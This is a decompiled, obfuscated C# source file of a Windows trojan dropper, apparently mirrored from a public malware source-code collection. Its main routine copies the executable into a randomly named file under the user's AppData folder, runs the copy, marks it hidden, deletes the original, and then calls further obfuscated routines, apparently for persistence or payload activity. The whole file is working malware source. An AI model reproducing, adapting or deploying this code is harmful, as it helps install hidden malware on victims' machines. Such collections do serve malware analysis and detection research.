mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
145 lines
3.7 KiB
C#
145 lines
3.7 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type:
|
||
// Assembly: ss20, Version=1.1.1.1, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 4385E1A7-2FA8-4895-8952-90E8ECDFEF6F
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Dapato.awrl-32c3dc21d69dcf58806a205f7919ff769fda4c1659e61dc7d2c60838850ea6d5.exe
|
||
|
||
using Microsoft.VisualBasic;
|
||
using Microsoft.VisualBasic.CompilerServices;
|
||
using System;
|
||
using System.IO;
|
||
using System.Reflection;
|
||
using System.Text;
|
||
using System.Threading;
|
||
using xDyrwegfyiLGERLFK;
|
||
|
||
[StandardModule]
|
||
internal sealed class \u0008
|
||
{
|
||
private static bool \u0002;
|
||
private static string \u0003;
|
||
|
||
static \u0008()
|
||
{
|
||
string location = Assembly.GetExecutingAssembly().Location;
|
||
if (false)
|
||
return;
|
||
\u0008.\u0003 = location;
|
||
}
|
||
|
||
public static string \u0002(int _param0)
|
||
{
|
||
VBMath.Randomize();
|
||
StringBuilder stringBuilder1 = new StringBuilder(string.Empty);
|
||
if (true)
|
||
goto label_7;
|
||
label_1:
|
||
char[] charArray = \u000F.\u0002(-1181139413).ToCharArray();
|
||
if (true)
|
||
goto label_8;
|
||
label_2:
|
||
int num1 = _param0;
|
||
if (true)
|
||
goto label_9;
|
||
label_3:
|
||
int num2 = 1;
|
||
char[] chArray;
|
||
StringBuilder stringBuilder2;
|
||
int num3;
|
||
while (num2 <= num3)
|
||
{
|
||
VBMath.Randomize();
|
||
int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (chArray.Length - 2 - 0 + 1) * VBMath.Rnd()) + 1f)));
|
||
stringBuilder2.Append(chArray[index]);
|
||
checked { ++num2; }
|
||
}
|
||
return stringBuilder2.ToString();
|
||
label_9:
|
||
num3 = num1;
|
||
goto label_3;
|
||
label_8:
|
||
chArray = charArray;
|
||
goto label_2;
|
||
label_7:
|
||
stringBuilder2 = stringBuilder1;
|
||
goto label_1;
|
||
}
|
||
|
||
[STAThread]
|
||
public static void \u0002()
|
||
{
|
||
Random random = new Random();
|
||
if (true)
|
||
goto label_12;
|
||
label_1:
|
||
string str1 = \u0008.\u0002(10) + \u000F.\u0002(-1181139440);
|
||
if (true)
|
||
goto label_13;
|
||
label_2:
|
||
string str2;
|
||
try
|
||
{
|
||
Thread.Sleep(273);
|
||
string str3 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + \u000F.\u0002(-1181139355);
|
||
if (true)
|
||
goto label_9;
|
||
label_3:
|
||
string path;
|
||
if (!Directory.Exists(path))
|
||
Directory.CreateDirectory(path);
|
||
if (!\u0008.\u0003.Contains(path))
|
||
{
|
||
try
|
||
{
|
||
FileSystem.FileCopy(\u0008.\u0003, path + \u000F.\u0002(-1181139383) + str2);
|
||
Interaction.Shell(path + \u000F.\u0002(-1181139383) + str2 + \u000F.\u0002(-1181139391) + \u0008.\u0003);
|
||
FileAttributes fileAttributes = FileAttributes.Hidden;
|
||
File.SetAttributes(path + \u000F.\u0002(-1181139383) + str2, fileAttributes);
|
||
ProjectData.EndApp();
|
||
goto label_11;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
ProjectData.SetProjectError(ex);
|
||
int num = (int) Interaction.MsgBox((object) ex.ToString());
|
||
ProjectData.ClearProjectError();
|
||
goto label_11;
|
||
}
|
||
}
|
||
else
|
||
{
|
||
FileSystem.Kill(Interaction.Command());
|
||
goto label_11;
|
||
}
|
||
label_9:
|
||
path = str3;
|
||
goto label_3;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
ProjectData.SetProjectError(ex);
|
||
ProjectData.ClearProjectError();
|
||
}
|
||
label_11:
|
||
\u0008.\u0002 = true;
|
||
eyLVVDhbWEkldwLK.bUfdeuYwyoegegejwgLkwe(\u000F.\u0002(-1181139367) + \u0008.\u0003);
|
||
\u0008.\u0003();
|
||
return;
|
||
label_13:
|
||
str2 = str1;
|
||
goto label_2;
|
||
label_12:
|
||
goto label_1;
|
||
}
|
||
|
||
public static void \u0003()
|
||
{
|
||
if (\u0008.\u0002)
|
||
{
|
||
eyLVVDhbWEkldwLK.ORYfbwIYVEwRFjbwrFgbwrigi(\u000F.\u0002(-1181139071));
|
||
eyLVVDhbWEkldwLK.LIJVwieyfvwEJfwEIyfI(\u000F.\u0002(-1181139071));
|
||
}
|
||
\u0008.\u0003();
|
||
}
|
||
}
|